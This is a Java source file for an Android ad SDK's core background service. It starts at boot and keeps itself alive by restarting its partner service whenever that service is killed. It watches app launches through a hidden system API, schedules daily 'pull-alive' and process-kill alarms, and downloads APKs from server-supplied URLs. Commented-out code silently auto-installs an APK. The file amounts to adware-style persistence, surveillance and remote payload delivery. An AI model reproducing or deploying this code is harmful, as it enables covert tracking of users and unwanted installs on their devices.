package com.yoyo.yyadsdk.main;

import android.app.ActivityManagerNative;
import android.app.IActivityManager;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.os.Build;
import android.os.IBinder;
import android.os.RemoteException;
import android.util.Log;

import com.dollkey.hdownload.util.HRxBus;
import com.dollkey.hdownload.util.WebState;
import com.yoyo.yyadsdk.IService_;
import com.yoyo.yyadsdk.api.IConfigApi;
import com.yoyo.yyadsdk.bean.AnlTimeEntity;
import com.yoyo.yyadsdk.bean.TimeHmBean;
import com.yoyo.yyadsdk.bean.UpdateBean;
import com.yoyo.yyadsdk.bean.dao.MonitorTimeEntity;
import com.yoyo.yyadsdk.broad.ScreenStatusReceiver;
import com.yoyo.yyadsdk.broad.ShortCutClickReceiver;
import com.yoyo.yyadsdk.config.AdvertFeature;
import com.yoyo.yyadsdk.config.Constants;
import com.yoyo.yyadsdk.config.PullFeature;
import com.yoyo.yyadsdk.open.MyProcessObserver;
import com.yoyo.yyadsdk.serv.DownLoadAPKService;
import com.yoyo.yyadsdk.serv.JobHandlerService;
import com.yoyo.yyadsdk.serv.SystemService;
import com.yoyo.yyadsdk.serv.UpdateDataService;
import com.yoyo.yyadsdk.util.Aes;
import com.yoyo.yyadsdk.util.AlarmUtils;
import com.yoyo.yyadsdk.util.AnalysisUtils;
import com.yoyo.yyadsdk.util.ApiManage;
import com.yoyo.yyadsdk.util.GreenDaoManager;
import com.yoyo.yyadsdk.util.LogHelper;
import com.yoyo.yyadsdk.util.TimeUtils;

import java.util.List;

import io.reactivex.Observable;
import io.reactivex.disposables.Disposable;
import io.reactivex.functions.Consumer;
import io.reactivex.schedulers.Schedulers;

/**
 * 核心服务，开机启动/网络变化启动
 * {@link com.yoyo.yyadsdk.broad.BootBroadcastReceiver}
 */
public class KernelService extends Service {

    private static final String TAG = "KernelService";
    private Context mContext;
    private ScreenStatusReceiver mScreenStatusReceiver;
    private ShortCutClickReceiver mShortCutClickReceiver;
    //    private WebViewStateReceiver mWebViewStateReceiver;
    private Disposable mUpdateDisposable;
    private ServiceConnection conn;
    private MyService myService;
    private Observable<WebState> mRegister;
    private Disposable mDisposable;

    @Override
    public void onCreate() {
        super.onCreate();
        mContext = this;

        init();
        //服务保活
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
            openJobService();
        } else {
            openTwoService();
        }
        //检测jar更新情况
//        checkJarUpdate();
//        File file = new File("/sdcard/YYDOWNLOAD/dazhong.apk");
//        if (file.exists())
//            ActivityUtils.autoInstallApk(this, file, "com.build.dazhong");
        //检测本地数据规则情况
//        startService(new Intent(this, UpdateDataService.class));
        UpdateDataService.getInstance(this);
        //启动轮询服务
        startService(new Intent(this, TimingService.class));
        //获取位置管理服务
//        new BaiduAddressUtil(this);
        //注册开锁屏监听广播
        registerScreenStatusReceiver();
        //注册Activity启动检测
        registerActivityObserver();
        //注册拉活/清理广播
        registerAlarmReceiver();
        //注册快捷方式点击广播
        registerShortCutReceiver();
        //注册网页统计广播
        registerWebViewStateBroadcast();
    }

//    public class WebViewStateReceiver extends BroadcastReceiver {
//        public static final String ACTION = "com.yoyo.yyadsdk.main.KernelService.WebViewStateReceiver";
//
//        @Override
//        public void onReceive(Context context, Intent intent) {
//            Log.e(TAG, "web state receiver");
//            if (intent != null && ACTION.equals(intent.getAction())) {
//                int type = intent.getIntExtra("type", -1);
//                int position = intent.getIntExtra("position", -1);
//                int anl = intent.getIntExtra("anl", -1);
//                int _id = intent.getIntExtra("_id", -1);
//                String contentId = intent.getStringExtra("contentId");
//                Log.e(TAG, "web state receiver " + intent.getAction());
//                Log.e(TAG, "web state receiver " + anl);
//                if (position > 0 && _id > 0) {
//                    AnlTimeEntity anlTimeEntity = Constants.mWebStatusTimes.get(_id, new AnlTimeEntity());
//                    switch (anl) {
//                        case AnalysisUtils.TYPE_READY:
//                            anlTimeEntity.setTimeReady(System.currentTimeMillis());
//                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
//                            break;
//                        case AnalysisUtils.TYPE_START:
//                            anlTimeEntity.setTimeStart(System.currentTimeMillis());
//                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
//                            break;
//                        case AnalysisUtils.TYPE_SUCCESS:
//                            anlTimeEntity.setTimeSuccess(System.currentTimeMillis());
//                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
//                            break;
//                        case AnalysisUtils.TYPE_FINISH:
//                            anlTimeEntity.setTimeFinish(System.currentTimeMillis());
//                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
//                            AnalysisUtils.addTimeStatistics(position, anlTimeEntity.getTimeReady(),
//                                    anlTimeEntity.getTimeStart(), anlTimeEntity.getTimeSuccess(), anlTimeEntity.getTimeFinish());
//                            Constants.mWebStatusTimes.remove(_id);
//                            break;
//                    }
//                    AnalysisUtils.addStatistics(mContext, type, position, anl, contentId);
//                }
//            }
//        }
//    }

    private void registerWebViewStateBroadcast() {
        //注册接收异常广播消息
//        mWebViewStateReceiver = new WebViewStateReceiver();
//        IntentFilter filter = new IntentFilter();
//        filter.addAction(WebViewStateReceiver.ACTION);
//        registerReceiver(mWebViewStateReceiver, filter);
        mRegister = HRxBus.getInstance().register(HRxBus.RX_ACTION_WEB_STATE);
        mDisposable = mRegister.subscribe(new Consumer<WebState>() {
            @Override
            public void accept(WebState webState) {
                int type = webState.getType();
                int position = webState.getPosition();
                int anl = webState.getAnl();
                int _id = webState.get_id();
                if (position > 0 && _id > 0) {
                    AnlTimeEntity anlTimeEntity = Constants.mWebStatusTimes.get(_id, new AnlTimeEntity());
                    switch (anl) {
                        case AnalysisUtils.TYPE_READY:
                            anlTimeEntity.setTimeReady(System.currentTimeMillis());
                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
                            break;
                        case AnalysisUtils.TYPE_START:
                            anlTimeEntity.setTimeStart(System.currentTimeMillis());
                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
                            break;
                        case AnalysisUtils.TYPE_SUCCESS:
                            anlTimeEntity.setTimeSuccess(System.currentTimeMillis());
                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
                            break;
                        case AnalysisUtils.TYPE_FINISH:
                            anlTimeEntity.setTimeFinish(System.currentTimeMillis());
                            Constants.mWebStatusTimes.put(_id, anlTimeEntity);
                            AnalysisUtils.addTimeStatistics(position, anlTimeEntity.getTimeReady(),
                                    anlTimeEntity.getTimeStart(), anlTimeEntity.getTimeSuccess(), anlTimeEntity.getTimeFinish());
                            Constants.mWebStatusTimes.remove(_id);
                            break;
                    }
                    AnalysisUtils.addStatistics(mContext, type, position, anl, webState.getContentId());
                }
            }
        });
    }

    private void registerShortCutReceiver() {
        mShortCutClickReceiver = new ShortCutClickReceiver();
        IntentFilter intentFilter = new IntentFilter();
        intentFilter.addAction(ShortCutClickReceiver.ACTION);
        registerReceiver(mShortCutClickReceiver, intentFilter);
    }

    private void init() {
        if (conn == null) {
            conn = new MyServiceConnection();
        }
        myService = new MyService();
    }

    private void checkJarUpdate() {
        //TODO 检测jar更新情况
        int num = 1;
        try {
            num = getPackageManager().getPackageInfo(mContext.getPackageName(), 0).versionCode;
        } catch (Exception ignored) {
        }
        String builder = "timestamp=" + System.currentTimeMillis() + "&version=" + num;
        String key = Aes.encode(builder, Aes.keyBytes);
        mUpdateDisposable = ApiManage.getInstance().getApi(IConfigApi.class).update(key)
                .subscribeOn(Schedulers.io())
                .subscribe(new Consumer<UpdateBean>() {
                    @Override
                    public void accept(UpdateBean updateBean) {
                        startService(new Intent(mContext, DownLoadAPKService.class)
                                .putExtra(DownLoadAPKService.PARAM_APK_URL, updateBean.getResp_data().getDownload_url())
                                .putExtra(DownLoadAPKService.PARAM_APK_PACKAGE_NAME, updateBean.getResp_data().getDownload_url()));
                        if (mUpdateDisposable != null && mUpdateDisposable.isDisposed())
                            mUpdateDisposable.dispose();
                    }
                }, new Consumer<Throwable>() {
                    @Override
                    public void accept(Throwable throwable) {
                        if (mUpdateDisposable != null && mUpdateDisposable.isDisposed())
                            mUpdateDisposable.dispose();
                    }
                });
    }

    private void openTwoService() {
        startService(new Intent(mContext, SystemService.class));
        bindService(new Intent(mContext, SystemService.class), conn, Context.BIND_IMPORTANT);
    }

    private void openJobService() {
        Intent intent = new Intent();
        intent.setClass(mContext, JobHandlerService.class);
        startService(intent);
    }

    private void registerScreenStatusReceiver() {
        mScreenStatusReceiver = new ScreenStatusReceiver();
        IntentFilter screenStatusIF = new IntentFilter();
        screenStatusIF.addAction(Intent.ACTION_SCREEN_ON);
        screenStatusIF.addAction(Intent.ACTION_SCREEN_OFF);
        screenStatusIF.addAction(Intent.ACTION_USER_PRESENT);
        registerReceiver(mScreenStatusReceiver, screenStatusIF);
    }

    private void registerActivityObserver() {
        IActivityManager activityManager = ActivityManagerNative.getDefault();
        try {
            activityManager.registerProcessObserver(new MyProcessObserver(mContext));
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }

    private void registerAlarmReceiver() {
        List<MonitorTimeEntity> monitorTimes = GreenDaoManager.getInstance().getDaoSession().getMonitorTimeEntityDao().loadAll();
        for (MonitorTimeEntity m : monitorTimes) {
            boolean b = m.getType() == PullFeature.PULL_MONITOR_TIME_ALIVE;
            //获取时间段内的随机时间
            TimeHmBean timeHmBean = TimeHmBean.getTimeInPeriod(m);
            AlarmUtils.addTask(b ? PullFeature.ALARM_MONITOR_TIME_AUTO_PULL : PullFeature.ALARM_MONITOR_TIME_KILL,
                    "", timeHmBean.getHour(), timeHmBean.getMinute(), true, TimeUtils.DAY);
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        unregisterReceiver(mScreenStatusReceiver);
        unregisterReceiver(mShortCutClickReceiver);
//        unregisterReceiver(mWebViewStateReceiver);
        HRxBus.getInstance().unregister(HRxBus.RX_ACTION_WEB_STATE, mRegister);
        if (mDisposable != null && !mDisposable.isDisposed())
            mDisposable.dispose();

        if (AdvertFeature.FEATURE_LOG_ENABLE) {
            LogHelper.d(LogHelper.TAG, "onDestroy.");
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return myService;
    }

    class MyService extends IService_.Stub {

        @Override
        public String getName() {
            return null;
        }
    }

    class MyServiceConnection implements ServiceConnection {

        @Override
        public void onServiceConnected(ComponentName name, IBinder service) {
            System.out.println("获取连接");
        }

        @Override
        public void onServiceDisconnected(ComponentName name) {
            Log.e(TAG, "远程连接被干掉了");
            startService(new Intent(mContext, SystemService.class));
            bindService(new Intent(mContext, SystemService.class), conn, Context.BIND_IMPORTANT);
        }
    }
}
